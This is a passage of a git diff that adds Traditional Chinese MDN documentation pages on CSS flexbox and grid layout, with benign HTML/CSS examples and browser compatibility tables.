+<h2 id="Guides">Guides</h2>
+
+<p><em>None.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Colors')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>In CSS, gradients aren't colors but <a href="/en-US/docs/Web/CSS/CSS_Images">images</a>.</li>
+</ul>
diff --git a/files/zh-tw/web/css/css_flexible_box_layout/index.html b/files/zh-tw/web/css/css_flexible_box_layout/index.html
new file mode 100644
index 0000000000..f26fcfb2e8
--- /dev/null
+++ b/files/zh-tw/web/css/css_flexible_box_layout/index.html
@@ -0,0 +1,118 @@
+---
+title: CSS 彈性盒子排版
+slug: Web/CSS/CSS_Flexible_Box_Layout
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Reference
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/CSS/CSS_Flexible_Box_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><strong>CSS 彈性盒子排版</strong>（CSS Flexible Box Layout）是 <a href="/zh-TW/docs/Web/CSS">CSS</a> 的模組。它為了最佳化 CSS 盒子模型的使用者介面設計而來、並把項目都配置在一個維度之內。在彈性盒子排版中，彈性容器的子項目們可以伸展到任何方向、並讓他們的尺寸更加「彈性」、或者持續增大，以填補未使用的空間，抑或縮小，以避免父元素溢出。子項目橫向或縱向對齊都很容易操作。</p>
+
+<h2 id="基本範例">基本範例</h2>
+
+<p>下例的容器已經設為 <code>display: flex</code>、意味著三個子元素變成了彈性項目（flex item）。<code>justify-content</code> 值也設成了 <code>space-between</code> 以便將項目均勻地分佈在主軸上。每個物品之間放置相等數量的空間，左右項目與彈性容器（flex container）的邊緣齊平。你可能也發現到各項目在切軸（cross axis）上伸展。那是因為 <code>align-items</code> 的值是 <code>stretch</code>。項目伸展為彈性容器的高度、令它們看起来都如同最高的項目一般高。</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}</p>
+
+<h2 id="參考">參考</h2>
+
+<h3 id="CSS_屬性">CSS 屬性</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h3 id="對齊屬性">對齊屬性</h3>
+
+<p>The properties <code>align-content</code>, <code>align-self</code>, <code>align-items</code> and <code>justify-content</code> initially appeared in the Flexbox specification, but are now defined in Box Alignment and the Flexbox spec refers to the Box Alignment Specification for up to date definitions. Additional alignment properties are also defined in Box Alignment.</p>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("place-content")}}</li>
+ <li>{{cssxref("place-items")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="短詞">短詞</h3>
+
+<div class="index">
+<ul>
+ <li>{{Glossary("Flexbox", "", 1)}}</li>
+ <li>{{Glossary("Flex Container", "", 1)}}</li>
+ <li>{{Glossary("Flex Item", "", 1)}}</li>
+ <li>{{Glossary("Main Axis", "", 1)}}</li>
+ <li>{{Glossary("Cross Axis", "", 1)}}</li>
+ <li>{{Glossary("Flex", "", 1)}}</li>
+</ul>
+</div>
+
+<h2 id="教學">教學</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">彈性盒子的基本概念</a></dt>
+ <dd>彈性盒子的概述</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">彈性盒子與其他排版的關係</a></dt>
+ <dd>彈性盒子如何與其他排版和 CSS 規範相關連</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">在彈性容器內對齊</a></dt>
+ <dd>彈性盒子的 Box Alignment 屬性如何做動。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">給彈性項目排序</a></dt>
+ <dd>解釋改變彈性項目順序和方向的不同方法，並講到潛在的問題。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">控制彈性項目與主軸的比例</a></dt>
+ <dd>將解釋 flex-grow、flex-shrink、flex-basis 屬性。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">掌握彈性項目 wrapping</a></dt>
+ <dd>如何使用多行建立彈性容器，並控制這些行中項目的顯示。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">彈性盒子的典型用例</a></dt>
+ <dd>彈性盒子常見的設計範式。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">彈性盒子的向下相容</a></dt>
+ <dd>彈性盒子的瀏覽器相容性、互操作性問題、支持舊版瀏覽器和規範的版本</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>初期定義。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<dl>
+ <dt><a href="https://github.com/philipwalton/flexbugs">Flexbugs</a></dt>
+ <dd>a community-curated list of flexbox browser bugs and workarounds</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mixins">Cross-browser Flexbox mixins</a></dt>
+ <dd>This article provides a set of mixins for those who want to create cross-browser flexbox experiences that even work in older browser that don't support the modern flexbox syntax</dd>
+</dl>
diff --git a/files/zh-tw/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html b/files/zh-tw/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html
new file mode 100644
index 0000000000..19ca6226ec
--- /dev/null
+++ b/files/zh-tw/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html
@@ -0,0 +1,382 @@
+---
+title: CSS彈性盒子用法
+slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
+tags:
+  - '#RWD'
+  - CSS
+  - Web
+  - 例子
+  - 先进的
+  - 入门
+  - 灵活
+  - 盒
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS3 <strong>彈性盒子</strong>，又稱<strong>flexbox</strong>，是為了適應不同螢幕尺寸和顯示設備而生的<a href="/zh-TW/docs/Web/CSS/Layout_mode">佈局模式</a>。</span>針對許多應用而言，不用 floats 的彈性盒子模型會比塊狀模型（block model）易用，彈性容器的邊緣也不會與內容的邊緣重疊。</p>
+
+<p>多數設計師會發現 flexbox 用起來比 box 簡單得多。像是不多注意 <code>div</code> 的話，它就會經常違反設計師意願地，跑到頁頂去──令 footer 附著在頁底，也因此變得很棘手。flexbox 的寬高能改變以適應顯示空間，將較低的元件固定住。Flexbox 邏輯也能讓你確實令 <code>div</code> 壓在頁面的右方或底部。Flexbox 元素的顯示順序，與原始碼的顯示順序相互獨立。</p>
+
+<p>一些時髦的佈局，也能因而透過更簡潔的程式碼完成。這種有意的獨立性只影響視覺渲染，基於 HTML 原始碼的語意順序及瀏覽不會受到影響。</p>
+
+<div class="note"><strong>注：</strong>儘管 <a href="http://www.w3.org/TR/css3-flexbox/">CSS 彈性盒子佈局規範</a>還處於最終徵求意見稿（Last Call Working Draft）階段（參見<a href="http://dev.w3.org/csswg/css-flexbox/">最新編輯草案</a>）、也不是所有瀏覽器都實做彈性盒子的所有功能。但這麼說好了，現在主流的瀏覽器，都對 flexbox 有著良好的支持。請參見<a href="/zh-TW/docs/Web/Guide/CSS/Flexible_boxes#Browser_compatibility">相容性表格</a>的具體屬性，以獲取最新的相容狀態。</div>
+
+<h2 id="彈性盒子的概念">彈性盒子的概念</h2>
+
+<p>Flex 排版的大致定義，是能更改該項目的長與（或）高，以便貼合任何顯示設備的空間。Flex container 能針對該元件擴張以便填補可用的空間、或收縮以便阻止空間溢出。</p>
+
+<p>塊狀佈局（Block layout）以垂直方向為準、行內佈局（Inline layout）以水平方向為準、而彈性佈局（Flexbox layout）則同時允許這兩種。塊狀佈局雖適於頁面顯示，但在程式元件（application component）需要在用戶代理（user agent）變更、手機從垂直方向翻轉到水平方向……等變更定位、大小、拉伸、收縮的情形下，這種佈局就很難用了。彈性盒子佈局長於小規模佈局、而剛剛流行的格線佈局（Grid layout）則長於大規模佈局。二者皆為 CSS 工作小組為在不同用戶代理、書寫模式、和其他要求下的 Web 應用程式，提供良好互通性的一部分。</p>
+
+<h2 id="彈性盒子的字彙">彈性盒子的字彙</h2>
+
+<p>在彈性盒子的世界，我們不會稱水平（inline）或垂直（block），而是主軸（main axis）與切軸（cross axis）。如果 <code>flex-direction</code> 是 <code>column</code>，主軸就會充當垂直、而切軸則充當水平。請參考下面的圖，它展示了一個 <code>flex-direction</code> 是 <code>row</code> 的彈性容器，意味著該彈性項目會基於主軸，作水平排列。</p>
+
+<p><img alt="flex_terms.png" class="default internal" src="/files/3739/flex_terms.png"></p>
+
+<dl>
+ <dt>彈性容器（Flex container）</dt>
+ <dd>包住彈性項目（Flex item）的父元素。在 {{Cssxref("display")}} 屬性用上 <code>flex</code> 或 <code>inline-flex</code> 值的，就是彈性容器。</dd>
+ <dt>彈性項目（Flex item）</dt>
+ <dd>
+ <p>所有彈性容器的子元素都會變成彈性項目。直接包含在彈性容器的文字，會被包裝成匿名的 Flex 項目。</p>
+ </dd>
+ <dt>軸（Axes）</dt>
+ <dd>
+ <p>所有彈性盒子布局都有兩個軸。<strong>主軸（main axis）</strong>是跟隨著彈性項目順序的軸、而<strong>切軸(cross axis)</strong>是垂直於主軸的軸。</p>
+
+ <ul>
+  <li><code><a href="/zh-TW/docs/Web/CSS/flex-direction">flex-direction</a></code> 屬性啟用主軸。</li>
+  <li><a href="/zh-TW/docs/Web/CSS/justify-content"><code>justify-content</code></a> 屬性定義目前彈性項目的主軸如何擺放。</li>
+  <li><a href="/zh-TW/docs/Web/CSS/align-items"><code>align-items</code></a> 屬性定義目前彈性項目的切軸如何擺放。</li>
+  <li><a href="/zh-TW/docs/Web/CSS/align-self"><code>align-self</code></a> 屬性定義目前單一彈性項目如何對齊。這個設定會覆蓋 <code>align-items</code> 的預設值。</li>
+ </ul>
+ </dd>
+ <dt>方向（Directions）</dt>
+ <dd>
+ <p>彈性容器的 <strong>main start</strong>/<strong>main end</strong> 與 <strong>cross start</strong>/<strong>cross end</strong> sides 描述了彈性項目流的起點與終點。它們跟隨著由 <code>writing-mode</code> 所建立的向量中，彈性容器的主軸與切軸排列（左至右或右至左……等等）。</p>
+
+ <ul>
+  <li><a href="/zh-TW/docs/Web/CSS/order"><code>order</code></a> assigns elements to ordinal groups and determines which elements appear first.</li>
+  <li><a href="/zh-TW/docs/Web/CSS/flex-flow"><code>flex-flow</code></a> 屬性是 <a href="/zh-TW/docs/Web/CSS/flex-direction"><code>flex-direction</code></a> 與 <a href="/zh-TW/docs/Web/CSS/flex-wrap"><code>flex-wrap</code></a> 屬性的簡寫，描述了彈性項目的整體布局。</li>
+ </ul>
+ </dd>
+ <dt>Lines</dt>
+ <dd>
+ <p>Flex items can be laid out on either a single line or on several lines according to the <a href="/en-US/docs/Web/CSS/flex-wrap"><code>flex-wrap</code></a> property, which controls the direction of the cross axis and the direction in which new lines are stacked.</p>
+ </dd>
+ <dt>Dimensions</dt>
+ <dd>
+ <p>The flex items' agnostic equivalents of height and width are <strong>main size</strong> and <strong>cross size,</strong> which respectively follow the main axis and cross axis of the flex container.</p>
+
+ <ul>
+  <li>The <code><a href="/en-US/docs/Web/CSS/min-height">min-height</a></code> and <code><a href="/en-US/docs/Web/CSS/min-width">min-width</a></code> properties initial value is 0.</li>
+  <li>The <a href="/en-US/docs/Web/CSS/flex"><code>flex</code></a> property shorthands the <a href="/en-US/docs/Web/CSS/flex-grow"><code>flex-grow</code></a>, <a href="/en-US/docs/Web/CSS/flex-shrink"><code>flex-shrink</code></a>, and <a href="/en-US/docs/Web/CSS/flex-basis"><code>flex-basis</code></a> properties to establish the flexibility of the flex items.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="設計一個彈性盒子">設計一個彈性盒子</h2>
+
+<p>要設計基於這種風格的 CSS 元素，請把 <a href="/zh-TW/docs/Web/CSS/display">display</a> 屬性設為：</p>
+
+<pre class="brush: css">display: flex;</pre>
+
+<p>或：</p>
+
+<pre class="brush: css">display: inline-flex;</pre>
+
+<p>這樣一來，元素就會變成彈性容器，而它的子元素們就會變成彈性項目。<code>flex</code> 值會讓彈性容器變成塊級元素（block-level element）、<code>inline-flex</code> 則會讓彈性容器成為單一的行內元素（atomic inline-level element）。</p>
+
+<div class="note"><strong>注意：</strong>如果需要支援較舊的瀏覽器，請把廠商前輟標記（vendor prefix tag）寫在 <code>display</code> 屬性（property），而不是屬性值（attribute）。例如：<code>display: -webkit-flex</code>。</div>
+
+<h2 id="彈性項目需要留心……">彈性項目需要留心……</h2>
+
+<p>Text that is directly contained inside a flex container is automatically wrapped in an anonymous flex item. However, an anonymous flex item that contains only white space is not rendered, as if it were designated <code>display: none</code>.</p>
+
+<p>Absolutely positioned children of a flex container are positioned so that their static position is determined in reference to the main start content-box corner of their flex container.</p>
+
+<p>The margins of adjacent flex items do not collapse. Using <code>auto</code> margins absorbs extra space in the vertical or horizontal direction and can be used for alignment or to separate adjacent flex items. See <a href="https://drafts.csswg.org/css-flexbox-1/#auto-margins">Aligning with 'auto' margins</a> in the W3C CSS Flexible Box Layout Module specification for more details.</p>
+
+<p>Flexbox's alignment properties do "true" centering, unlike other centering methods in CSS. This means that the flex items will stay centered, even if they overflow the flex container. This can sometimes be problematic, however, if they overflow past the top edge of the page, or the left edge (in LTR languages like English; the problem occurs on the right edge in RTL languages like Arabic), as you can't scroll to that area, even if there is content there! In a future release, the alignment properties will be extended to have a "safe" option as well. For now, if this is a concern, you can instead use margins to achieve centering, as they'll respond in a "safe" way and stop centering if they overflow. Instead of using the <code>align-</code> properties, just put auto margins on the flex items you wish to center. Instead of the <code>justify-</code> properties, put auto margins on the outside edges of the first and last flex items in the flex container. The auto margins will "flex" and assume the leftover space, centering the flex items when there is leftover space, and switching to normal alignment when not. However, if you're trying to replace <code>justify-content</code> with margin-based centering in a multi-line flexbox, you're probably out of luck, as you need to put the margins on the first and last flex item on each line. Unless you can predict ahead of time which items will end up on which line, you can't reliably use margin-based centering in the main axis to replace the <code>justify-content</code> property.</p>
+
+<p>Recall that while the display order of the elements is independent of their order in the source code, this independence affects only the visual rendering, leaving speech order and navigation based on the source order. Even the {{cssxref("order")}} property does not affect speech or navigation sequence. Thus developers must take care to order elements properly in the source so as not to damage the document's accessibility.</p>
+
+<h2 id="彈性盒子的屬性">彈性盒子的屬性</h2>
+
+<h3 id="不對彈性盒子生效的屬性">不對彈性盒子生效的屬性</h3>
+
+<p>由於彈性盒子使用不同的排版演算法，所以有些屬性不太適合用在彈性容器內：</p>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts">multiple column 模組</a>的 <code>column-*</code> 屬性對彈性項目無效。</li>
+ <li>{{cssxref("clear")}} 對彈性項目無效。</li>
+ <li>{{cssxref("float")}} causes the <code>display</code> property of the element to compute to <code>block</code>.</li>
+ <li>{{cssxref("vertical-align")}} 對已對齊的彈性項目無效。</li>
+</ul>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="基本彈性排版示例">基本彈性排版示例</h3>
+
+<p>這個基本彈性將展示如何把「彈性化」引至某個元素、並在彈性狀態下相鄰該元素的表現。</p>
+
+<pre class="brush: html">​&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;style&gt;
+    .flex {
+        /* basic styling */
+        width: 350px;
+        height: 200px;
+        border: 1px solid #555;
+        font: 14px Arial;
+
+        /* flexbox setup */
+        display: flex;
+        flex-direction: row;
+    }
+
+    .flex &gt; div {
+        flex: 1 1 auto;
+        width: 30px; /* To make the transition work nicely. (Transitions to/from
+                        "width:auto" are buggy in Gecko and Webkit, at least.
+                        See http://bugzil.la/731886 for more info.) */
+        transition: width 0.7s ease-out;
+    }
+
+    /* colors */
+    .flex &gt; div:nth-child(1){ background: #009246; }
+    .flex &gt; div:nth-child(2){ background: #F1F2F1; }
+    .flex &gt; div:nth-child(3){ background: #CE2B37; }
+
+    .flex &gt; div:hover {
+        width: 200px;
+    }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Flexbox nuovo&lt;/p&gt;
+    &lt;div class="flex"&gt;
+      &lt;div&gt;uno&lt;/div&gt;
+      &lt;div&gt;due&lt;/div&gt;
+      &lt;div&gt;tre&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="聖杯排版示例">聖杯排版示例</h3>
+
+<p>本示例將示範彈性盒子在不同的解析度之下，如何提供動態變更的能力。下圖將說明轉換。</p>
+
+<p><img alt="HolyGrailLayout.png" class="default internal" src="/files/3760/HolyGrailLayout.png"></p>
+
+<p>這裡展示了貼合了瀏覽器視窗的排版，必須為智慧型手機視窗最佳化的情況。不僅尺寸要縮減，呈現順序也要改變。彈性盒子把這件事變得相當簡單。</p>
+
+<pre class="brush: html">​&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;style&gt;
+    body {
+        font: 24px Helvetica;
+        background: #999999;
+    }
+
+    #main {
+        min-height: 800px;
+        margin: 0;
+        padding: 0;
+        display: flex;
+        flex-flow: row;
+    }
+
+    #main &gt; article {
+        margin: 4px;
+        padding: 5px;
+        border: 1px solid #cccc33;
+        border-radius: 7pt;
+        background: #dddd88;
+        flex: 3 1 60%;
+        order: 2;
+    }
+
+    #main &gt; nav {
+        margin: 4px;
+        padding: 5px;
+        border: 1px solid #8888bb;
+        border-radius: 7pt;
+        background: #ccccff;
+        flex: 1 6 20%;
+        order: 1;
+    }
+
+    #main &gt; aside {
+        margin: 4px;
+        padding: 5px;
+        border: 1px solid #8888bb;
+        border-radius: 7pt;
+        background: #ccccff;
+        flex: 1 6 20%;
+        order: 3;
+    }
+
+    header, footer {
+        display: block;
+        margin: 4px;
+        padding: 5px;
+        min-height: 100px;
+        border: 1px solid #eebb55;
+        border-radius: 7pt;
+        background: #ffeebb;
+    }
+
+    /* Too narrow to support three columns */
+    @media all and (max-width: 640px) {
+        #main, #page {
+            flex-direction: column;
+        }
+
+        #main &gt; article, #main &gt; nav, #main &gt; aside {
+        /* Return them to document order */
+            order: 0;
+        }
+
+        #main &gt; nav, #main &gt; aside, header, footer {
+            min-height: 50px;
+            max-height: 50px;
+        }
+    }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;header&gt;header&lt;/header&gt;
+    &lt;div id='main'&gt;
+      &lt;article&gt;article&lt;/article&gt;
+      &lt;nav&gt;nav&lt;/nav&gt;
+      &lt;aside&gt;aside&lt;/aside&gt;
+    &lt;/div&gt;
+    &lt;footer&gt;footer&lt;/footer&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="遊樂場">遊樂場</h2>
+
+<p>以下提供一些與彈性盒子相關的網站讓你親手操作：</p>
+
+<ul>
+ <li><a href="http://demo.agektmr.com/flexbox/">Flexbox Playground</a></li>
+ <li><a href="http://the-echoplex.net/flexyboxes">Flexy Boxes</a></li>
+ <li><a href="http://codepen.io/justd/pen/yydezN">Flexbox Properties Demonstration</a></li>
+ <li><a href="http://flexboxfroggy.com/">Flexbox Froggy</a></li>
+</ul>
+
+<h2 id="要注意的事情">要注意的事情</h2>
+
+<p>有時候配置 Flex item 的演算法會有點難以理解。因此，在設計 Flexible box 時有一些指引，能讓你避免負面意義上的驚嘆。</p>
+
+<p>Flexible box 通常會盡量貼合 <a href="https://developer.mozilla.org/zh-TW/docs/CSS/writing-mode">writing mode</a> 的配置，這意味著 <strong>main start</strong> 與 <strong>main end</strong> 會基於 <strong>start</strong> 與 <strong>end</strong> 的位置來配置。</p>
+
+<p><strong>cross start</strong> 與 <strong>cross end</strong> 依賴 <strong>start</strong> 或 <strong>before</strong> 的定義的位置，其依賴 <a href="/zh-TW//docs/Web/CSS/direction"><code>direction</code> 的值</a>。</p>
+
+<p>Page breaks are possible in flexible boxes layout as long as <code>break-</code> property allows it. CSS3 <code>break-after</code>, <code>break-before</code>, and <code>break-inside</code> as well as CSS 2.1 <code>page-break-before</code>, <code>page-break-after</code>, and <code>page-break-inside</code> properties are accepted on a flex container, flex items, and inside flex items.</p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (single-line flexbox)</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[6]</sup>{{property_prefix("-moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("22.0")}}</td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>11<sup>[3]</sup></td>
+   <td>12.10{{property_prefix("-webkit")}}<sup>[5]</sup></td>
+   <td>6.1{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Multi-line flexbox</td>
+   <td>{{CompatGeckoDesktop("28.0")}}</td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>11<sup>[3]</sup></td>
+   <td>12.10<sup>[5]</sup><br>
+    15 {{property_prefix("-webkit")}}</td>
+   <td>6.1{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (single-line flexbox)</td>
+   <td>{{CompatGeckoMobile("18.0")}}{{property_prefix("-moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoMobile("22.0")}}</td>
+   <td>
+    <p>1.0{{property_prefix("-moz")}}<sup>[2]</sup><br>
+     1.1</p>
+   </td>
+   <td>2.1{{property_prefix("-webkit")}}<sup>[4]</sup><br>
+    4.4</td>
+   <td>11</td>
+   <td>12.10<sup>[5]</sup><br>
+    15{{property_prefix("-webkit")}}</td>
+   <td>7{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Multi-line flexbox</td>
+   <td>{{CompatGeckoMobile("28.0")}}</td>
+   <td>1.3</td>
+   <td>2.1{{property_prefix("-webkit")}}<sup>[4]</sup><br>
+    4.4</td>
+   <td>11</td>
+   <td>12.10<sup>[5]</sup><br>
+    15{{property_prefix("-webkit")}}</td>
+   <td>7{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Safari up to version 6.0 (iOS.1) supported an old incompatible draft version of the specification. Safari 6.1 (and Safari on iOS 7) has been updated to support the final version.</p>
+
+<p>[2] Up to Firefox 22, to activate flexbox support, the user has to change the <code>about:config</code> preference <code>layout.css.flexbox.enabled</code> to <code>true</code>. From Firefox 22 to Firefox 27, the preference is <code>true</code> by default, but the preference has been removed in Firefox 28.</p>
+
+<p>[3] Internet Explorer 10 supports an old incompatible draft version of the specification; Internet Explorer 11 <a href="http://msdn.microsoft.com/en-us/library/ie/dn265027%28v=vs.85%29.aspx">has been updated</a> to support the final version.</p>
+
+<p>[4] Android browser up to 4.3 supported an old incompatible draft version of the specification. Android 4.4 has been updated to support the final version.</p>
+
+<p>[5] While in the initial implementation in Opera 12.10 <code>flexbox</code> was not prefixed, it got prefixed in versions 15 to 16 of Opera and 15 to 19 of Opera Mobile with {{property_prefix("-webkit")}}. The prefix was removed again in Opera 17 and Opera Mobile 24.</p>
+
+<p>[6] Up to Firefox 29, specifying <code>visibility: collapse</code> on a flex item causes it to be treated as if it were <code>display: none</code> instead of the intended behavior, treating it as if it were <code>visibility: hidden</code>. The suggested workaround is to use <code>visibility:hidden</code> for flex items that should behave as if they were designated <code>visibility:collapse</code>. For more information, see {{bug(783470)}}.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="https://github.com/philipwalton/flexbugs">The Flexbugs project</a> for information on bugs in browsers' implementations of flexbox.</li>
+</ul>
diff --git a/files/zh-tw/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/zh-tw/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
new file mode 100644
index 0000000000..2c6c9685cc
--- /dev/null
+++ b/files/zh-tw/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
@@ -0,0 +1,715 @@
+---
+title: 格線佈局的基本概念
+slug: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
+translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
+---
+<p><a href="/zh-TW/docs/Web/CSS/CSS_Grid_Layout">CSS 格線佈局</a>介紹了二維的 CSS 格線系統。格線可以用來佈置頁面的主要區域、或小型用戶介面。本文介紹 CSS 格線 Level 1 規範的其中一部份。這份概觀顯示的某些功能，將在教學的其他部份詳細解釋。</p>
+
+<h2 id="什麽是格線？">什麽是格線？</h2>
+
+<p>格線是一組水平線和垂直線的交叉集合（intersecting set）：一個定義為行（row），另一個定義為列（column）。你可以讓各元素依照行列的規則放到各格線上。CSS 格線佈局具有以下特點：</p>
+
+<h3 id="固定和靈活的軌道尺寸">固定和靈活的軌道尺寸</h3>
+
+<p>你可以給各格線指定一個固定的軌道大小，例如像素（pixel）。這樣就能把格線設為指定的像素，以貼近你期望的排版。也可以創建一個使用百分比、或是新的 <code>fr</code> 單位之格線。<code>fr</code> 單位就是為了格線布局而生。</p>
+
+<h3 id="單元佈置">單元佈置</h3>
+
+<p>你可以在格線使用行號、名字、目標區域，讓各單元放到精確的位置。格線也有控制非明式（explicit）單元的布局演算法。</p>
+
+<h3 id="Creation_of_additional_tracks_to_hold_content">Creation of additional tracks to hold content</h3>
+
+<p>你可以按照需求，定義明式格線、也可以處理沒有指定的格線、還可以增加額外的行（row）與列（column）。如果需要「盡可能地放進容器容得了的列」之類的也辦得到。</p>
+
+<h3 id="控制對齊">控制對齊</h3>
+
+<p>格線也包含了依序對齊的功能，以便控制各格線內的各單元、還有整個格線要如何對齊。</p>
+
+<h3 id="Control_of_overlapping_content">Control of overlapping content</h3>
+
